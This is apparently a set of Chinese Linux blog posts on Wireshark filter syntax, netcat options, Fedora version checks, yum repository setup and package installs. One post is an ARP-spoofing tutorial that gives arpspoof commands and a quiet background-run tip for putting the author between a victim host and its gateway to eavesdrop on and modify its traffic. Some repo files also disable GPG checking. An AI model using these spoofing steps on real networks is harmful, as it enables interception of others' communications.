第一步，配置好系统的yum源；

第二步，yum install wireshark

第三步，yum install wireshark-gnome（安装其图形界面，与windows下的界面去区别不大）

Wireshark使用说明：
 
Protocol（协议）:
可能的值: ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp.
如果没有特别指明是什么协议，则默认使用所有支持的协议。
Direction（方向）:
可能的值: src, dst, src and dst, src or dst
如果没有特别指明来源或目的地，则默认使用 “src or dst” 作为关键字。
例如，”host 10.2.2.2″与”src or dst host 10.2.2.2″是一样的。
Host(s):
可能的值： net, port, host, portrange.
如果没有指定此值，则默认使用”host”关键字。
例如，”src 10.1.1.1″与”src host 10.1.1.1″相同。
Logical Operations（逻辑运算）:
可能的值：not, and, or.
否(“not”)具有最高的优先级。或(“or”)和与(“and”)具有相同的优先级，运算时从左至右进行。
例如，
“not tcp port 3128 and tcp port 23″与”(not tcp port 3128) and tcp port 23″相同。
“not tcp port 3128 and tcp port 23″与”not (tcp port 3128 and tcp port 23)”不同。
 
例子：
capture捉包：
tcp dst port 21  显示目的TCP端口为21的封包。
 
ip src host 192.168.30.242  显示来源IP地址为192.168.30.242  的封包。
host 192.168.30.242    显示目的或来源IP地址为192.168.30.242  的封包。
src portrange 2000-2500  显示来源为UDP或TCP，并且端口号在2000至2500范围内的封包。
not imcp  显示除了icmp以外的所有封包。（icmp通常被ping工具使用）
src host 10.7.2.12 and not dst net 192.168.30.0/24  显示来源IP地址为10.7.2.12，但目的地不是192.168.30.0/24的封包。
(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8
 显示来源IP为10.4.1.12或者来源网络为10.6.0.0/16，目的地TCP端口号在200至10000之间，并且目的位于网络10.0.0.0/8内的所有封包。
 
注意事项：
当使用关键字作为值时，需使用反斜杠“”。
“ether proto ip” (与关键字”ip”相同).
这样写将会以IP协议作为目标。
“ip proto icmp” (与关键字”icmp”相同).
这样写将会以ping工具常用的icmp作为目标。
可以在”ip”或”ether”后面使用”multicast”及”broadcast”关键字。
当您想排除广播请求时，”no broadcast”就会非常有用。
 
分析：
ftphttpipudp cpipxdns  可以单独显示某种协议。
 
ip.addr == 192.168.30.242    显示目的或来源IP地址为192.168.30.242  的封包。
tcp.port eq 25 or icmp        显示tcp端口为25或imcp的包
tcp.dstport == 25 显示目的TCP端口号为25的封包。
tcp.port == 80 || udp.port == 80 显示tcp端口为25或udp端口是80的包
eth.addr ==  00-1C-23-27-72-1E  显示mac地址是 00-1C-23-27-72-1E的包
tcp.flags 显示包含TCP标志的封包。
tcp.flags.syn == 0×02 显示包含TCP SYN标志的封包。
http.request.uri matches “gl=se$”   匹配url中最后字符是gl=se的封包。

本机ip为192.168.1.103

被欺骗的主机ip为192.168.1.100

网关为192.168.1.1

Arp欺骗：在交换环境中，使用本机告诉被欺骗主机本机的MAC即为网关MAC，使被欺骗主机本来要发送给网关的数据包发送给我

而又使用本机告诉网关，本机的MAC即为被欺骗主机的MAC，使本来由本机发送的数据包，被网关识别为被欺骗的主机所发送的。

这样使本机成为被欺骗主机和网关之间的中间人，其数据包均经过了本机，因此本机可以抓取所有数据包进行窃听，分析甚至修改。

实现原理为本机以比真实arp发包速度稍快的发包速度不断向网关和被欺骗主机发送arp包，使二者缓存的arp表为被欺骗后的。

具体操作：首先开启转发功能

echo 1 >/proc/sys/net/ipv4/ip_forward（我直接使用vim进行修改居然不成功，强制修改后会变成0，不知何原因）

欺骗192.168.1.100本机即为网关

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

欺骗网关本机为192.168.1.100

arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

如果在一个终端里进行，建议加参数：> /dev/null 2>&1 &

使整个欺骗过程静默执行，不会输出一大堆。

欺骗成功后可以使用wireshark等软件进行数据包分析。使用wireshark时，方便查看数据包，可以使用ip.addr == 192.168.1.100进行过滤。

本文出自 “小鸡哥哥的空间” 博客，请务必保留此出处http://aishaoer.blog.51cto.com/769164/454309

为了方便自己记忆和使用，将原来man中的参数说明进行了一个翻译。本人英文太差，翻译得不对的地方还请指正。 

nc [−46DdhklnrStUuvzC] [−i interval] [−p source_port] 
   [−s source_ip_address] [−T ToS] [−w timeout] [−X proxy_protocol] [−x 
   proxy_address[:port]] [hostname] [port[s]]  

-4 强制使用ipv4 
-6 强制使用ipv6 
-D 允许socket通信返回debug信息 
      -d 不允许从标准输入中读取 
-h 显示nc帮助文档 
-i interval  
   指定每行之间内容延时发送和接受，也可以使多个端口之间的连接延时 
-k 当一个连接结束时，强制nc监听另一个连接。必须和-l一起使用 
-l 用于监听传入的数据链接，不能与-p -z -s一起使用。-w 参数的超时也会被忽略 
-n 不执行任何地址，主机名，端口或DNS查询 
-p 指定nc使用的源端口，受权限限制且不能余-l一起使用 
-r 指定nc使用的源端口和目的端口，不能使用系统原来就指定的那些端口 
-S 允许在RFC 2385的TCP MD5签名选项 
-s source_ip_address  
   指定用于发包的接口的IP地址，不能和-l一起使用 
-T ToS 
   指定链接的IP服务类型（TOS） 
-C 自动换行 
-t 使nc能够与telnet交互 
-U 使用UNIX域socket 
-u 使用udp代替默认的tcp选项 
-v 输出详细报告 
−w timeout 
    一个链接一段时间无操作，则自动断开，默认无超时 
-X proxy_version 
    指定nc使用代理时所采用的协议,可选的有socksv4，socks5以及https。默认socks5 
-x proxy_address[:port] 
    指定nc使用的代理地址和端口。默认设置:1080(SOCKS),3128(HTTPS) 
-z 只监听不发送任何包 

本文出自 “小鸡哥哥的空间” 博客，请务必保留此出处http://aishaoer.blog.51cto.com/769164/441112

 [fedora.cc@fedoracc ~]$ su -
密码：
[root@fedoracc ~]# file /sbin/init
/sbin/init: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
[root@fedoracc ~]#

显示为32-bit则为32位。

——————————-

查看 Linux的版本:

[root@fedoracc ~]# lsb_release -a
LSB Version: :core-4.0-ia32:core-4.0-noarch:graphics-4.0-ia32:graphics-4.0-noarch:printing-4.0-ia32:printing-4.0-noarch
Distributor ID: Fedora
Description: Fedora release 13 (Goddard)
Release: 13
Codename: Goddard
[root@fedoracc ~]#

——————————-

查看Fedora Linux机器是32位还是64位的方法还有：

[root@fedoracc ~]# getconf LONG_BIT
32
[root@fedoracc ~]# getconf WORD_BIT
32
[root@fedoracc ~]#

以下是它的一些参数说明:
rpm -q：查询软件包是否被安装
rpm -qa：查询并显示系统中已安装的软件包的详细信息
rpm -qi：查询指定软件包的详细信息
rpm -ql：查询指定软件包中包括的文件列表
rpm -qf：指定文件所属软件包
rpm -qpi：rpm安装包文件的详细信息
rpm -qpl：rpm软件包中包含的文件列表
rpm -i：安装指定的软件包到当前linux系统
rpm -ivh：安装指定的软件包时显示详细的安装信息
rpm -force：强制安装软件包
rpm -e：卸载指定的软件包
rpm -U：升级指定的软件包(如果指定的软件包在系统中没有的话，执行过程等同与安装)
rpm -a：查询所有已安装的软件包
rpm -f：查询包含有文件的软件包
rpm -p：查询软件包文件为package file的软件包
rpm -s：显示包含有文件的软件包
rpm -v：验证软件包

下面先说说Fedora yum软件源更换方法。

用附件-》文本编辑器在home下fedora.cc里建个新文件，把以下代码复制进去，保存为fedoracc.repo这个文件。

[releases-mirror.sohu.com]
name=fedora-releases
baseurl=http://mirrors.sohu.com/fedora/releases/13/Fedora/i386/os/
enabled=1
gpgcheck=0

[everything-mirror.sohu.com]
name=fedora-Everything
baseurl=http://mirrors.sohu.com/fedora/releases/13/Everything/i386/os/
enabled=1
gpgcheck=0

[updates-mirror.sohu.com]
name=Fedora-updates
baseurl=http://mirrors.sohu.com/fedora/updates/13/i386/
enabled=1
gpgcheck=0

再把上面的文件复制到/etc/yum.repos.d/

打开终端，输入：

cp /home/fedora.cc/fedoracc.repo /etc/yum.repos.d/fedoracc.repo

但是有个问题，Fedora默认是已有自己的 repo文件的。那么如果多个repo的话，会导致添加/删除软件中，同一个包可能有重复的。所以我们要把默认的repo改名。

在终端中输入

cd /etc/yum.repos.d/

mv fedora.repo fedora.repo.bak

mv fedora-updates.repo fedora-updates.bak

然后，yum makecache

然后yum check-update

第一次要等好一会儿，下载那好几十兆的数据文件。

然后以后就可以从系统-》管理-》软件更新和添加/删除软件中升级，加装，卸载软件包了。
看自己情况决定是否在终端中全面更新系统，命令是

终端中su -
然后yum update

我在更新的时候感觉速度很快了。

下面我们来看看怎样在Fedora 13中安装基准测试软件HardInfo。

打开终端：

输入：

1、su -

2、yum install hardinfo

图1

附一些信息：

[fedora.cc@fedoracc ~]$ su -
密码：
[root@fedoracc ~]# yum install hardinfo
已加载插件：presto, refresh-packagekit
设置安装进程
解决依赖关系
–> 执行事务检查
—> 软件包 hardinfo.i686 0:0.5.1-2.fc12 将被 升级
–> 完成依赖关系计算

依赖关系解决

===============================================================
 软件包        架构      版本                仓库         大小
===============================================================
正在安装:
 hardinfo      i686      0.5.1-2.fc12        fedora      235 k

事务概要
===============================================================
安装       1 软件包
更新       0 软件包

总下载量：235 k
Installed size: 404 k
确定吗？[y/N]：y
下载软件包：
Setting up and reading Presto delta metadata
fedora/prestodelta                      |  414 B     00:00    
Processing delta metadata
Package(s) data still to download: 235 k
hardinfo-0.5.1-2.fc12.i686.rpm          | 235 kB     00:00    
warning: rpmts_HdrFromFdno: Header V3 RSA/SHA256 Signature, key ID e8e40fde: NOKEY
fedora/gpgkey                           | 3.2 kB     00:00 …
导入 GPG 密钥 0xE8E40FDE “Fedora (13) <fedora@fedoraproject.org>”，来自 /etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-i386
确定吗？[y/N]：y
运行 rpm_check_debug
执行事务测试
事务测试成功
执行事务
  正在安装       : hardinfo-0.5.1-2.fc12.i686              1/1

已安装:
  hardinfo.i686 0:0.5.1-2.fc12                                

完毕！

安装好之后在应用程序——系统工具——System Profiler and Benchmark。

图2

图3

首先下载微软雅黑字体V6.0 msyh.ttf。

解压得到双击打开，看到图1右下角的安装字体吗。

图1

图2 打开外观首选项 全部选择微软雅黑。渲染选择次像素平滑

图3 效果

Chromium 默认是没有安装在 Fedora 13 中的，下面我们就来看看怎样在Fedora 13 下安装 Google Chromium 网页浏览器。

1.打开 Fedora 13 终端

输入 su -

2.在/ etc / yum.repos.d下创建一个chromium.repo文件

命令：gedit /etc/yum.repos.d/chromium.repo

第一二步见下图1

图1

3.在打开的文件里粘贴下面的代码

[chromium]
name=Chromium Test Packages
baseurl=http://spot.fedorapeople.org/chromium/F$releasever/
enabled=1
gpgcheck=0

4.保存并关闭该文件，再在终端输入以下命令

yum install chromium

在这过程中要问你是否确定下载安装，输入Y，速度很快。（见图2）

图2

这样就在您的Fedora 13 中安装好了 Google Chromium 网页浏览器。您可以在应用程序“>互联网> Chromim网页浏览器。下面是Chromium运行在我的Fedora 13中的截图。

按照Fedora官网的推荐，本人认为使用 preupgrade 方来升级比较简单方便。
1：yum update
2：yum install preupgrade
3：preupgrade-cli

不行那就图形界面的方式升级sudo preupgrade

然后重新启动电脑即可，开始Fedora 13更新安装，更新安装过程中不需要人工干预，但是有个过程要注意，就是最后出现的Finishing upgrade process. This may take a little while需要比较长的时间，在这过程中不要关机。